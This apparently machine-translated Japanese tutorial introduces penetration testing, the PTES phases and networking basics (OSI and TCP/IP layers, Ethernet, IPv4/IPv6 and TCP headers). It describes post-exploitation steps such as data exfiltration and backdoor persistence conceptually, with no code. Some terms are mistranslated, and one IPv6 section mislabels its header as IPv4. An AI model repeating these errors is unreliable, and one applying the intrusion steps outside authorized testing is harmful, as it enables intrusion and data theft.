Python-penetration-testing-quick-guide

提供:Dev Guides
移動先:案内検索

Python侵入テスト-はじめに

ペンテストまたは侵入テストは、コンピュータシステムに対するサイバー攻撃をシミュレートして脆弱性を悪用することにより、ITインフラストラクチャのセキュリティを評価する試みとして定義できます。

脆弱性スキャンと侵入テストの違いは何ですか? 脆弱性スキャンは、前述のように、単に指摘された脆弱性を特定するだけで、侵入テストは脆弱性を悪用する試みです。 侵入テストは、システム内で不正アクセスまたはその他の悪意のある活動が可能かどうかを判断するのに役立ちます。

手動または自動技術を使用して、サーバー、Webアプリケーション、ワイヤレスネットワーク、モバイルデバイス、およびその他の潜在的な露出ポイントの侵入テストを実行できます。 侵入テストのため、何らかの種類の脆弱性を悪用した場合、戦略的な結論に達するために同じことをITおよびネットワークシステムマネージャーに転送する必要があります。

侵入(ペン)テストの意義

このセクションでは、侵入テストの重要性について学びます。 重要性について知るために、次の点を考慮してください-

組織のセキュリティ

侵入テストの重要性は、組織にその組織のセキュリティの詳細な評価を保証するという点から理解できます。

組織の機密性を保護する

侵入テストの助けを借りて、損害に直面する前に潜在的な脅威を発見し、その組織の機密性を保護することができます。

セキュリティポリシーの実装

侵入テストにより、組織でのセキュリティポリシーの実装に関して確認できます。

ネットワーク効率の管理

侵入テストの助けを借りて、ネットワークの効率を管理できます。 ファイアウォール、ルーターなどのデバイスのセキュリティを精査できます。

組織の安全を確保する

ネットワーク設計の変更を実装する場合、またはソフトウェア、ハードウェアなどを更新する場合を考えます。 その後、侵入テストにより、あらゆる種類の脆弱性に対する組織の安全性が確保されます。

良いペンテスターは誰ですか?

侵入テスト担当者は、脆弱性を特定することにより、組織がサイバー攻撃に対する防御を強化するのを支援するソフトウェアの専門家です。 ペネトレーションテスターは、テストのために手動の手法または自動化されたツールを使用できます。

私たちは今、良い侵入試験機の次の重要な特性を考慮しましょう-

ネットワーキングとアプリケーション開発の知識

優れたペンテスターは、コーディングだけでなく構成設定も処理することが期待されるため、アプリケーション開発、データベース管理、およびネットワーキングの知識が必要です。

優れた思想家

Pentesterは優れた思想家でなければならず、最高の成果を得るために特定の課題にさまざまなツールや手法を適用することをためらわないでしょう。

手順の知識

良い五星は、目的、制限、手順の正当化など、各侵入テストの範囲を確立するための知識を持っている必要があります。

最新のテクノロジー

技術はいつでも変化する可能性があるため、ペンテスターは技術スキルが最新でなければなりません。

レポート作成に熟練

侵入テストを正常に実装した後、ペンテスターは、最終レポートですべての調査結果と潜在的なリスクに言及する必要があります。 したがって、彼/彼女はレポート作成の優れたスキルを持っている必要があります。

サイバーセキュリティに情熱

情熱的な人は人生で成功を収めることができます。 同様に、人がサイバー証券に情熱を持っている場合、彼/彼女は良いペンテスターに​​なることができます。

侵入テストの範囲

次に、侵入テストの範囲について学習します。 次の2種類のテストは、侵入テストの範囲を定義できます-

非破壊検査(NDT)

非破壊検査では、システムがいかなる種類のリスクにもさらされることはありません。 NDTは、システムやオブジェクトなどを傷つけることなく、危険になる前に欠陥を見つけるために使用されます。 侵入テストを行っている間、NDTは次のアクションを実行します-

リモートシステムのスキャン

このテストでは、考えられる脆弱性についてリモートシステムをスキャンおよび識別します。

検証

脆弱性を発見した後、発見されたすべての検証も行います。

リモートシステムの適切な利用

NDTでは、ペンテスターはリモートシステムを適切に利用します。 これは、中断を回避するのに役立ちます。

-一方、ペネトレーションテストを行っている間、NDTは*サービス拒否(DoS)攻撃*を実行しません。

破壊試験

破壊的なテストは、システムをリスクにさらす可能性があります。 非破壊検査よりも高価であり、より多くのスキルが必要です。 侵入テストを行っている間、破壊テストは次のアクションを実行します-

  • サービス拒否(DoS)攻撃-破壊テストによりDoS攻撃が実行されます。
  • バッファオーバーフロー攻撃-また、システムのクラッシュにつながる可能性のあるバッファオーバーフロー攻撃を実行します。

模擬侵入テストのために何をインストールしますか?

侵入テストの手法とツールは、所有する環境で実行するか、これらのツールを実行する権限がある環境でのみ実行する必要があります。 許可なしの侵入テストは違法であるため、許可されていない環境でこれらの手法を実行してはなりません。

仮想化スイートをインストールすることにより、侵入テストを実施できます- VMware Playerhttps://www.vmware.com/products/player[www.vmware.com/products/player])または Oracle VirtualBox -

www.oracle.com/technetwork/server-storage/virtualbox/downloads/indexl

また、現在のバージョンから仮想マシン(VM)を作成することができます-

評価方法

最近では、政府機関と民間組織の両方が、サイバーセキュリティを戦略的優先事項として取り上げています。 サイバー犯罪者は、さまざまな攻撃ベクトルを使用することで、政府や民間組織をしばしばソフトターゲットにしています。 残念ながら、情報システムの効率的なポリシー、標準、複雑さの欠如により、サイバー犯罪者は多数の標的を抱えており、システムを悪用して情報を盗み出すことに成功しています。

侵入テストは、サイバー攻撃のリスクを軽減するために使用できる戦略の1つです。 侵入テストの成功は、効率的で一貫性のある評価方法に依存します。

侵入テストに関連するさまざまな評価方法があります。 方法論を使用する利点は、評価者が環境を一貫して評価できることです。 以下はいくつかの重要な方法論です-

  • オープンソースセキュリティテスト方法論マニュアル(OSSTMM)
  • オープンWebアプリケーションセキュリティプロジェクト(OWASP)
  • 米国国立標準技術研究所(NIST)
  • 侵入テスト実行標準(PTES)

PTESとは何ですか?

PTES、侵入テスト実行標準、名前が示すように、侵入テストの評価方法論です。 侵入テストに関連するすべてを網羅しています。 PTESには、評価者が遭遇する可能性のあるさまざまな環境に関連する多くの技術ガイドラインがあります。 技術ガイドラインには業界標準ツール内の環境に対処して評価するための提案があるため、これは新しい評価者がPTESを使用する最大の利点です。

次のセクションでは、PTESのさまざまなフェーズについて学習します。

PTESの7つのフェーズ

侵入テスト実行標準(PTES)は7つのフェーズで構成されています。 これらのフェーズは、侵入テストに関連するすべてのものを網羅しています。最初のコミュニケーションとペンテストの背後にある推論から、テスターが舞台裏で作業するインテリジェンス収集と脅威モデリングフェーズまでです。 これにより、脆弱性の調査、悪用、および悪用後の調査を通じて、テスト対象の組織の理解が深まります。 ここで、テスターの技術的なセキュリティの専門知識は、エンゲージメントのビジネス理解と、最終的には顧客にとって意味のある方法でプロセス全体をキャプチャし、それに最も価値を提供するレポートに不可欠に結合されます。

PTESの7つのフェーズについては、後続のセクションで学習します-

参加前の相互作用フェーズ

これは、PTESの最初の非常に重要なフェーズです。 このフェーズの主な目的は、使用可能なツールとテクニックを説明することです。これらは、侵入テストのエンゲージ前のステップを成功させるのに役立ちます。 このフェーズの実装中にミスがあると、残りの評価に大きな影響を与える可能性があります。 このフェーズは、次のもので構成されます-

評価のリクエスト

このフェーズが始まる最初の部分は、組織による評価のリクエストの作成です。 環境、必要な評価の種類、および組織の期待に関する詳細を記載した* Request for Proposal(RFP)*文書が評価者に提供されます。

入札

現在、 RFP 文書に基づいて、複数の評価会社または個々の有限責任会社(LLC)が入札し、要求された作業、価格、およびその他の特定のパラメーターに一致する入札が行われます。

エンゲージメントレター(EL)の署名

これで、入札に勝った組織と当事者がエンゲージメントレター(EL)の契約に署名します。 レターには、*作業明細書(SOW)*および最終製品が含まれます。

スコーピング会議

ELに署名すると、スコープの微調整を開始できます。 このような会議は、組織と関係者が特定の範囲を微調整するのに役立ちます。 スコーピング会議の主な目標は、テスト対象を議論することです。

スコープクリープの処理

スコープクリープとは、クライアントが約束された作業レベルを追加または拡張して、支払いを約束した以上のものを獲得しようとするものです。 そのため、時間とリソースを考慮して、元のスコープの変更を慎重に検討する必要があります。 また、電子メール、署名された文書、または承認された手紙などの文書化された形式で完了する必要があります。

アンケート

顧客との最初のコミュニケーション中に、クライアントが関与範囲の適切な推定のために答えなければならないいくつかの質問があります。 これらの質問は、クライアントが侵入テストで得ようとしているものをよりよく理解できるように設計されています。クライアントが環境に対して侵入テストを実行しようとしている理由;また、侵入テスト中に特定の種類のテストを実行するかどうか。

テストの実施方法

事前エンゲージメントフェーズの最後の部分は、テストを実施する手順を決定することです。 ホワイトボックス、ブラックボックス、グレーボックス、ダブルブラインドテストなどのさまざまなテスト戦略から選択できます。

以下は、要求される可能性のある評価のいくつかの例です-

  • ネットワーク侵入テスト
  • Webアプリケーション侵入テスト
  • 無線ネットワーク侵入テスト
  • 物理的侵入テスト
  • ソーシャルエンジニアリング
  • フィッシング
  • ボイスオーバーインターネットプロトコル(VOIP)
  • 内部ネットワーク
  • 外部ネットワーク

インテリジェンス収集フェーズ

PTESの第2フェーズであるインテリジェンス収集では、脆弱性の評価と悪用の段階でターゲットに侵入する際に利用される情報を可能な限り収集するために、ターゲットに対して予備調査を実行します。 組織が評価チームによって外部への露出を決定するのに役立ちます。 私たちは情報収集を次の3つのレベルに分けることができます-

レベル1の情報収集

自動化ツールは、このレベルの情報をほぼ完全に取得できます。 レベル1の情報収集努力は、コンプライアンス要件を満たすために適切でなければなりません。

レベル2の情報収集

このレベルの情報は、手動分析とともにレベル1の自動化ツールを使用して取得できます。 このレベルでは、物理的な場所、ビジネス関係、組織図などの情報を含む、ビジネスの十分な理解が必要です。 レベル2の情報収集の努力は、長期的なセキュリティ戦略、小規模メーカーの買収など、その他のニーズとともにコンプライアンス要件を満たすために適切である必要があります

レベル3の情報収集

このレベルの情報収集は、最も高度な侵入テストで使用されます。 レベル1およびレベル2のすべての情報と多くの手動分析は、レベル3の情報収集に必要です。

脅威モデリングフェーズ

これはPTESの3番目のフェーズです。 侵入テストを正しく実行するには、脅威モデリングアプローチが必要です。 脅威のモデリングは、侵入テストの一部として使用することも、いくつかの要因に基づいて対処することもできます。 侵入テストの一環として脅威モデリングを使用している場合、第2フェーズで収集された情報は第1フェーズにロールバックされます。

次の手順は、脅威モデリングフェーズを構成します-

  • 必要な関連情報を収集します。
  • 一次資産と二次資産を特定して分類する必要があります。
  • 脅威と脅威コミュニティを特定して分類する必要があります。
  • 脅威アセットを一次および二次資産に対してマッピングする必要があります。

脅威コミュニティとエージェント

次の表は、関連する脅威のコミュニティとエージェントを組織内の場所とともに示しています-

ロケーション

内部

外部

脅威エージェント/コミュニティ

従業員

ビジネスパートナー

管理者

請負業者

管理者(ネットワーク、システム)

競合他社

エンジニア

サプライヤー

技術者

民族国家

一般ユーザーコミュニティ

ハッカー

脅威モデリングの評価を行う際、脅威の場所は内部にある可能性があることを覚えておく必要があります。 資格情報をブロードキャストすることにより、組織のセキュリティを危険にさらしているフィッシングメールが1つ、またはイライラする従業員が1人だけです。

脆弱性分析フェーズ

これは、PTESの4番目のフェーズであり、評価者はさらなるテストのために実行可能なターゲットを特定します。 PTESの最初の3つのフェーズでは、組織に関する詳細のみが抽出され、評価者はテスト用のリソースに触れていません。 これは、PTESの最も時間のかかるフェーズです。

次の段階は、脆弱性分析を構成します-

脆弱性テスト

これは、ホストおよびサービスのシステムとアプリケーションの設定ミスや安全でないアプリケーション設計などの欠陥を発見するプロセスとして定義される場合があります。 テスターは、脆弱性分析を実施する前に、テストおよび望ましい結果を適切に範囲指定する必要があります。 脆弱性テストには、次のタイプがあります-

  • アクティブテスト
  • パッシブテスト

この2つのタイプについては、以降のセクションで詳しく説明します。

アクティブテスト

これには、セキュリティの脆弱性についてテストされているコンポーネントとの直接的な対話が含まれます。 コンポーネントは、ネットワークデバイス上のTCPスタックなどの低レベル、またはWebベースのインターフェイスなどの高レベルにすることができます。 アクティブテストは、次の2つの方法で実行できます。

自動アクティブテスト

ソフトウェアを利用してターゲットと対話し、応答を調べ、これらの応答に基づいてコンポーネントに脆弱性が存在するかどうかを判断します。 手動アクティブテストと比較した自動アクティブテストの重要性は、システム上に数千のTCPポートがあり、テストのためにそれらすべてを手動で接続する必要がある場合、かなり長い時間がかかるという事実から理解できます。 ただし、自動化ツールを使用してこれを行うと、多くの時間と労力の要件を削減できます。 ネットワーク脆弱性スキャン、ポートスキャン、バナーグラブ、Webアプリケーションスキャンは、自動化されたアクティブなテストツールを使用して実行できます。

手動アクティブテスト

手動の効果的なテストは、自動化されたアクティブなテストと比較するとより効果的です。 エラーのマージンは、自動化されたプロセスまたはテクノロジに常に存在します。 そのため、ターゲットシステムで利用可能な各プロトコルまたはサービスに手動で直接接続して、自動テストの結果を検証することが常に推奨されるのはこのためです。

パッシブテスト

パッシブテストには、コンポーネントとの直接の対話は含まれません。 それは、次の2つの技術の助けを借りて実装することができます-

メタデータ分析

この手法では、ファイル自体のデータではなく、ファイルを説明するデータを調べます。 たとえば、MSワードファイルには、作成者名、会社名、ドキュメントが最後に変更および保存された日時に関するメタデータが含まれています。 攻撃者がメタデータへのパッシブアクセスを取得できる場合、セキュリティ上の問題が発生します。

交通監視

内部ネットワークに接続し、オフライン分析用のデータをキャプチャするための手法として定義できます。 主に、スイッチドネットワークへの*「データの漏洩」*をキャプチャするために使用されます。

検証

脆弱性テストの後、調査結果の検証が非常に必要です。 それは次のテクニックの助けを借りて行うことができます-

ツール間の相関

評価者が複数の自動化ツールを使用して脆弱性テストを行っている場合、調査結果を検証するために、これらのツールの間に相関関係が必要です。 ツール間にそのような種類の相関関係がない場合、調査結果は複雑になる可能性があります。 これは、アイテムの特定の相関とアイテムのカテゴリ相関に分類できます。

プロトコル固有の検証

検証は、プロトコルの助けを借りて行うこともできます。 VPN、Citrix、DNS、Web、メールサーバーを使用して、検出結果を検証できます。

研究

システムの脆弱性を見つけて検証した後、問題の識別の正確性を判断し、侵入テストの範囲内で脆弱性の潜在的な悪用可能性を調査することが不可欠です。 研究は、公的にも私的にも行うことができます。 公開調査を行っている間、脆弱性データベースとベンダーの勧告を使用して、報告された問題の正確性を検証できます。 一方、私的調査を行っている間、レプリカ環境を設定し、ファジングやテスト構成などの手法を適用して、報告された問題の正確性を検証できます。

悪用フェーズ

これはPTESの5番目のフェーズです。 このフェーズでは、セキュリティ制限をバイパスしてシステムまたはリソースにアクセスすることに焦点を当てます。 このフェーズでは、前のフェーズで行われたすべての作業がシステムへのアクセスにつながります。 システムへのアクセスを取得するために使用される次のようないくつかの一般的な用語があります-

  • ポップ
  • 砲撃
  • 割れた
  • 悪用された

エクスプロイトフェーズでのシステムへのログインは、コード、リモートエクスプロイト、エクスプロイトの作成、ウイルス対策のバイパスの助けを借りて行うことができます。 アクセスを取得した後、つまりメインエントリポイントを特定した後、評価者は価値の高いターゲット資産の特定に集中する必要があります。 脆弱性分析フェーズが適切に完了していれば、価値の高いターゲットリストが遵守されているはずです。 最終的に、攻撃ベクトルでは、成功確率と組織への最大の影響を考慮する必要があります。

悪用後のフェーズ

これはPTESの6番目のフェーズです。 評価者は、このフェーズで次の活動を行います-

インフラ分析

侵入テスト中に使用されるインフラストラクチャ全体の分析は、このフェーズで行われます。 たとえば、ネットワーク、ネットワーク構成の分析は、インターフェイス、ルーティング、DNSサーバー、キャッシュされたDNSエントリ、プロキシサーバーなどを使用して実行できます。

略奪

対象のホストから情報を取得することと定義できます。 この情報は、事前評価段階で定義された目標に関連しています。 この情報は、インストールされているプログラム、データベースサーバーなどの特定のサーバー、プリンターなどから取得できます。 システム上。

データの流出

このアクティビティでは、アセスメント担当者は、制御強度の測定、つまり組織からの機密情報の検出とブロックを実施できるように、すべての可能な流出経路のマッピングとテストを行う必要があります。

永続性の作成

このアクティビティには、認証を必要とするバックドアのインストール、必要な場合のバックドアの再起動、複雑なパスワードを持つ代替アカウントの作成が含まれます。

掃除

名前が示すように、このプロセスは、侵入テストが完了したらシステムをクリーンアップするための要件をカバーしています。 このアクティビティには、システム設定、アプリケーション構成パラメーターの元の値への復帰、インストールされているすべてのバックドアおよび作成されたユーザーアカウントの削除が含まれます。

報告

これは、PTESの最終かつ最も重要な段階です。 ここで、クライアントは、侵入テストの完了後に最終レポートに基づいて支払います。 このレポートは基本的に、システムについて評価者が行った調査結果のミラーです。 以下は、良いレポートの重要な部分です-

エグゼクティブサマリー

これは、侵入テストの具体的な目標とテスト演習の高レベルの結果について読者に伝えるレポートです。 対象となる聴衆は、チーフスイートの諮問委員会のメンバーになることができます。

ストーリー展開

レポートにはストーリーが含まれている必要があります。ストーリーラインでは、エンゲージメント中に何が行われたか、実際のセキュリティの発見または弱点、および組織が確立した積極的な管理について説明します。

概念実証/技術レポート

概念実証または技術レポートは、テストの技術的詳細と、エンゲージメント前の演習で重要な成功指標として合意されたすべての側面/コンポーネントで構成されている必要があります。 テクニカルレポートセクションでは、テストの範囲、情報、攻撃パス、影響、および修正案を詳細に説明します。

ネットワーク通信の入門書

侵入テストを実行するために、ペンテスターはIPアドレス、クラスフルサブネット化、クラスレスサブネット化、ポート、ブロードキャストネットワークなどの基本的なネットワークの概念を認識する必要があることを常に聞いています。 一番最初の理由は、承認された範囲内にあるホストや、ホストがオープンで応答するサービス、ポート、機能などのアクティビティによって、評価者が侵入テストで実行するアクティビティの種類が決まるためです。 環境は変化し続け、システムはしばしば再割り当てされます。 したがって、古い脆弱性が再び発生する可能性が高く、ネットワークのスキャンに関する十分な知識がなければ、最初のスキャンをやり直す必要が生じる可能性があります。 以降のセクションでは、ネットワーク通信の基本について説明します。

参照モデル

参照モデルは標準化の手段を提供します。これは、コンピューターネットワークを使用する人々が広い物理範囲に位置しており、ネットワークデバイスのアーキテクチャが異なる可能性があるため、世界中で受け入れられています。 異種デバイス間の通信を提供するには、標準化されたモデル、つまりこれらのデバイスが通信できる方法を提供する参照モデルが必要です。

OSIモデルやTCP/IP参照モデルなど、2つの参照モデルがあります。 ただし、OSIモデルは仮想モデルですが、TCP/IPは実用的なモデルです。

OSIモデル

Open System Interfaceは、国際標準化機構(ISO)によって設計されたため、ISO-OSIモデルとも呼ばれます。

OSIモデルは、次の図に示すように7つの層で構成されています。 各層には特定の機能がありますが、各層は上の層にサービスを提供します。

OSIモデル

物理層

物理層は、次のアクティビティを担当しています-

  • 物理接続のアクティブ化、メンテナンス、および非アクティブ化。
  • 送信に必要な電圧とデータレートの定義。
  • デジタルビットを電気信号に変換します。
  • 接続がシンプレックス、半二重、または全二重のいずれであるかを決定します。

データリンク層

データリンク層は、次の機能を実行します-

  • 物理リンクを介して送信される情報の同期およびエラー制御を実行します。
  • エラー検出を有効にし、送信するデータにエラー検出ビットを追加します。

ネットワーク層

ネットワーク層は、次の機能を実行します-

  • 信号をさまざまなチャネルを介してもう一方の端にルーティングします。
  • どのルートデータを使用するかを決定することにより、ネットワークコントローラーとして機能します。
  • 送信メッセージをパケットに分割し、受信パケットを高レベルのメッセージに組み立てます。

トランスポート層

トランスポート層は、次の機能を実行します-

  • データ送信をパラレルパスで行うかシングルパスで行うかを決定します。
  • データの多重化、分割を実行します。
  • データ層がより小さな単位に分割されるため、ネットワーク層でより効率的に処理されます。

トランスポート層は、一端から他端へのデータの送信を保証します。

セッション層

セッション層は、次の機能を実行します-

  • メッセージを管理し、2つの異なるアプリケーション間の会話を同期します。
  • ログオンとログオフ、ユーザー識別、請求、セッション管理を制御します。

プレゼンテーション層

プレゼンテーション層は、次の機能を実行します-

  • この層は、受信システムがそれを理解して使用するような形式で情報が配信されることを保証します。

アプリケーション層

アプリケーション層は、次の機能を実行します-

  • さまざまな方法での情報の操作、情報ファイルの再転送、結果の配信など、さまざまなサービスを提供します。
  • LOGINやパスワードチェックなどの機能も、アプリケーション層によって実行されます。

TCP/IPモデル

伝送制御プロトコルおよびインターネットプロトコル(TCP/IP)モデルは実用的なモデルであり、インターネットで使用されています。

TCP/IPモデルは、2つの層(物理層とデータリンク層)を1つの層(ホストからネットワークへの層)に結合します。 次の図は、TCP/IPモデルのさまざまな層を示しています-

TCP/IPモデル

アプリケーション層

この層はOSIモデルと同じであり、次の機能を実行します-

  • さまざまな方法での情報の操作、情報ファイルの再転送、結果の配信など、さまざまなサービスを提供します。
  • アプリケーション層は、ログインやパスワードチェックなどの機能も実行します。
  • 以下は、アプリケーション層で使用されるさまざまなプロトコルです-
  • TELNET
  • FTP
  • SMTP
  • DN
  • HTTP
  • NNTP

トランスポート層

OSIモデルのトランスポート層と同じ機能を実行します。 トランスポート層に関連する次の重要な点を考慮してください-

  • エンドツーエンドの伝送にTCPおよびUDPプロトコルを使用します。
  • TCPは、信頼性の高い接続指向のプロトコルです。
  • TCPはフロー制御も処理します。
  • UDPは信頼性が低く、接続の少ないプロトコルはフロー制御を実行しません。
  • この層では、TCP/IPおよびUDPプロトコルが採用されています。

インターネット層

この層の機能は、ホストがパケットをネットワークに挿入できるようにすることです。そして、パケットを独立して宛先に移動させます。 ただし、パケットを受信する順序は、送信された順序とは異なる場合があります。

インターネット層でインターネットプロトコル(IP)が採用されています。

ホストからネットワーク層

これは、TCP/IPモデルの最下層です。 ホストは、IPパケットを送信できるように、何らかのプロトコルを使用してネットワークに接続する必要があります。 このプロトコルは、ホストごと、ネットワークごとに異なります。

この層で使用される異なるプロトコルは-

  • アルパネット
  • SATNET
  • LAN
  • パケットラジオ

便利なアーキテクチャ

以下は、ネットワーク通信で使用されるいくつかの便利なアーキテクチャです-

イーサネットフレームアーキテクチャ

Robert Metcalfeというエンジニアは、1973年にIEEE標準802.3で定義されたイーサネットネットワークを最初に発明しました。 ワークステーションとプリンター間でデータを相互接続して送信するために最初に使用されました。 LANの80%以上が、速度、低コスト、および設置の容易さのためにイーサネット標準を使用しています。 一方、フレームについて話すと、データはホストからホストへと移動します。 フレームは、MACアドレス、IPヘッダー、開始および終了デリミターなどのさまざまなコンポーネントで構成されます。

イーサネットフレームは、プリアンブルとSFDで始まります。 イーサネットヘッダーにはソースMACアドレスと宛先MACアドレスの両方が含まれ、その後にフレームのペイロードが存在します。 最後のフィールドはCRCで、エラーの検出に使用されます。 基本的なイーサネットフレーム構造は、IEEE 802.3規格で定義されています。

イーサネット(IEEE 802.3)フレーム形式

イーサネットパケットは、ペイロードとしてイーサネットフレームを転送します。 以下は、各フィールドの説明と一緒にイーサネットフレームのグラフィカルな表現です-

Field Name Preamble SFD(Start of frame delimiter) Destination MAC Source MAC Type Data CRC
Size(in bytes) 7 1 6 6 2 46-1500 4

前文

イーサネットフレームの前には7バイトのサイズのプリアンブルがあり、フレームが開始していることを受信側システムに通知し、送信側と受信側がビット同期を確立できるようにします。

SFD(フレーム区切りの開始)

これは、宛先MACアドレスフィールドが次のバイトで始まることを示すために使用される1バイトのフィールドです。 SFDフィールドはプリアンブルの一部と見なされる場合があります。 そのため、多くの場所でプリアンブルが8バイトと見なされます。

  • *宛先MAC *-これは6バイトのフィールドで、受信システムのアドレスがあります。
  • *送信元MAC *-これは6バイトのフィールドで、送信システムのアドレスがあります。
  • タイプ-フレーム内のプロトコルのタイプを定義します。 たとえば、IPv4またはIPv6。 サイズは2バイトです。
  • データ-これはペイロードとも呼ばれ、実際のデータがここに挿入されます。 その長さは46〜1500バイトでなければなりません。 長さが46バイト未満の場合、可能な最小長、つまり46を満たすために0のパディングが追加されます。
  • * CRC(巡回冗長検査)*-これは32ビットCRCを含む4バイトのフィールドであり、破損したデータの検出を可能にします。

拡張イーサネットフレーム(イーサネットIIフレーム)フォーマット

以下は、1500バイトを超えるペイロードを取得できる拡張イーサネットフレームのグラフィック表示です-

Field Name Destination MAC Source MAC Type DSAP SSAP Ctrl Data CRC
Size(in bytes) 6 6 2 1 1 1 >46 4

IEEE 802.3イーサネットフレームとは異なるフィールドの説明は、次のとおりです-

DSAP(宛先サービスアクセスポイント)

DSAPは、メッセージを受信することを目的としたネットワーク層エンティティの論理アドレスを表す1バイトの長いフィールドです。

SSAP(ソースサービスアクセスポイント)

SSAPは、メッセージを作成したネットワーク層エンティティの論理アドレスを表す1バイトの長いフィールドです。

Ctrl

これは1バイトの制御フィールドです。

IPパケットアーキテクチャ

インターネットプロトコルは、TCP/IPプロトコルスイートの主要なプロトコルの1つです。 このプロトコルは、OSIモデルのネットワーク層およびTCP/IPモデルのインターネット層で機能します。 したがって、このプロトコルには、論理アドレスに基づいてホストを識別し、基盤となるネットワークを介してホスト間でデータをルーティングする責任があります。 IPは、IPアドレッシングスキームによってホストを一意に識別するメカニズムを提供します。 IPはベストエフォート配信を使用します。つまり、パケットが宛先ホストに配信されることを保証しませんが、宛先に到達するために最善を尽くします。

以降のセクションでは、IPの2つの異なるバージョンについて学習します。

IPv4

これは、32ビット論理アドレスを使用するインターネットプロトコルバージョン4です。 以下は、フィールドの説明とともにIPv4ヘッダーの図です-

IPv4

バージョン

これは、使用されているインターネットプロトコルのバージョンです。たとえば、IPv4。

IHL

インターネットヘッダーの長さ。 IPヘッダー全体の長さ。

DSCP

差別化サービスコードポイント。これはサービスの種類です。

ECN

明示的な輻輳通知。ルートで見られる混雑に関する情報を伝達します。

全長

IPパケット全体の長さ(IPヘッダーとIPペイロードを含む)。

識別

送信中にIPパケットがフラグメント化された場合、すべてのフラグメントには同じ識別番号が含まれます。

フラグ

ネットワークリソースの要求に応じて、IPパケットが大きすぎて処理できない場合、これらの「フラグ」は断片化できるかどうかを示します。 この3ビットフラグでは、MSBは常に「0」に設定されます。

フラグメントオフセット

このオフセットは、元のIPパケット内のフラグメントの正確な位置を示します。

有効期間

ネットワークでのループを回避するために、すべてのパケットはTTL値が設定されて送信されます。これにより、このパケットが通過できるルーター(ホップ)の数がネットワークに通知されます。 各ホップで、その値は1ずつ減少し、値がゼロに達すると、パケットは破棄されます。

プロトコル

宛先ホストのネットワーク層に、このパケットが属するプロトコル、つまり次のレベルのプロトコルを伝えます。 たとえば、ICMPのプロトコル番号は1、TCPは6、UDPは17です。

ヘッダーチェックサム

このフィールドは、ヘッダー全体のチェックサム値を保持するために使用され、パケットがエラーなしで受信されたかどうかを確認するために使用されます。

送信元アドレス

パケットの送信者(または送信元)の32ビットアドレス。

宛先住所

パケットの受信者(または宛先)の32ビットアドレス。

オプション

これはオプションのフィールドで、IHLの値が5より大きい場合に使用されます。 これらのオプションには、セキュリティ、ルートの記録、タイムスタンプなどのオプションの値が含まれる場合があります。

IPv4の詳細については、こちらのリンクを参照してください-link:/ipv4/index [www.finddevguides.com/ipv4/index]

IPv6

インターネットプロトコルバージョン6は最新の通信プロトコルであり、その前身であるIPv4はネットワーク層(レイヤー3)で動作します。 膨大な量の論理アドレス空間の提供に加えて、このプロトコルには十分な機能があり、IPv4の欠点に対処しています。 以下は、フィールドの説明とともにIPv4ヘッダーの図です-

IPv6

バージョン(4ビット)

インターネットプロトコルのバージョンを表します— 0110。

トラフィッククラス(8ビット)

これらの8ビットは2つの部分に分かれています。 最上位の6ビットは、サービスの種類に使用され、このパケットに提供されるサービスをルーターに知らせます。 最下位2ビットは、明示的輻輳通知(ECN)に使用されます。

フローラベル(20ビット)

このラベルは、通信に属するパケットのシーケンシャルフローを維持するために使用されます。 ソースはシーケンスにラベルを付け、特定のパケットが特定の情報フローに属していることをルーターが識別できるようにします。 このフィールドは、データパケットの並べ替えを回避するのに役立ちます。 ストリーミング/リアルタイムメディア用に設計されています。

ペイロード長(16ビット)

このフィールドは、特定のパケットのペイロードに含まれる情報量をルーターに伝えるために使用されます。 ペイロードは、拡張ヘッダーと上位層データで構成されます。 16ビットでは、最大65535バイトを指定できます。ただし、拡張ヘッダーにホップバイホップ拡張ヘッダーが含まれている場合、ペイロードは65535バイトを超えることがあり、このフィールドは0に設定されます。

次のヘッダー(8ビット)

このフィールドは、拡張ヘッダーのタイプを示すために使用されるか、拡張ヘッダーが存在しない場合は上位層PDUを示します。 上位層PDUのタイプの値は、IPv4のものと同じです。

ホップ制限(8ビット)

このフィールドは、パケットを停止してネットワーク内で無限にループするために使用されます。 これは、IPv4のTTLと同じです。 ホップ制限フィールドの値は、リンク(ルーター/ホップ)を通過するときに1ずつ減少します。 フィールドが0に達すると、パケットは破棄されます。

送信元アドレス(128ビット)

このフィールドは、パケットの発信者のアドレスを示します。

宛先アドレス(128ビット)

このフィールドは、パケットの対象受信者のアドレスを提供します。

IPv6の詳細については、こちらのリンクを参照してください— link:/ipv6/index [www.finddevguides.com/ipv6/index]

TCP(伝送制御プロトコル)ヘッダーアーキテクチャ

TCPは接続指向のプロトコルであり、通信を開始する前に2つのシステム間でセッションが確立されることがわかっています。 通信が完了すると、接続が閉じられます。 TCPは、3つの方法のハンドシェイク技術を使用して、2つのシステム間の接続ソケットを確立します。 スリーウェイハンドシェイクとは、2つのシステム間でSYN、SYN-ACK、ACKの3つのメッセージが送受信されることを意味します。 2つのシステム、開始およびターゲットシステム間で作業する手順は次のとおりです-

ステップ1-SYNフラグが設定されたパケット

まず、接続を開始しようとしているシステムは、SYNフラグが設定されたパケットで開始します。

ステップ2-SYN-ACKフラグが設定されたパケット

現在、このステップでは、ターゲットシステムはSYNフラグとACKフラグが設定されたパケットを返します。

ステップ3-ACKフラグが設定されたパケット

最後に、開始システムは、ACKフラグが設定された元のターゲットシステムにパケットを返します。

以下は、TCPヘッダーの図とフィールドの説明です-

ACKフラグが設定されたTCPパケット

送信元ポート(16ビット)

送信デバイス上のアプリケーションプロセスのソースポートを識別します。

宛先ポート(16ビット)

受信デバイスのアプリケーションプロセスの宛先ポートを識別します。

シーケンス番号(32ビット)

セッション内のセグメントのデータバイトのシーケンス番号。

確認番号(32ビット)

ACKフラグが設定されている場合、この番号には予想されるデータバイトの次のシーケンス番号が含まれ、受信した以前のデータの確認応答として機能します。

データオフセット(4ビット)

このフィールドは、TCPヘッダーのサイズ(32ビットワード)と、TCPセグメント全体の現在のパケットのデータのオフセットの両方を意味します。

予約済み(3ビット)

将来の使用のために予約されており、デフォルトでゼロに設定されています。

フラグ(各1ビット)

*NS* -明示的な輻輳通知シグナリングプロセスは、このNonce Sumビットを使用します。
*CWR* -ホストがECEビットが設定されたパケットを受信すると、ECEが受信されたことを確認するためにCongestion Windows Reducedを設定します。
*ECE* -2つの意味があります-
  • SYNビットが0にクリアされている場合、ECEは、IPパケットにCE(輻輳エクスペリエンス)ビットが設定されていることを意味します。

  • SYNビットが1に設定されている場合、ECEはデバイスがECT対応であることを意味します。

    *URG* -緊急ポインタフィールドに重要なデータがあり、処理する必要があることを示します。
    *ACK* -確認フィールドに重要性があることを示します。 ACKが0にクリアされている場合、パケットに確認応答が含まれていないことを示します。
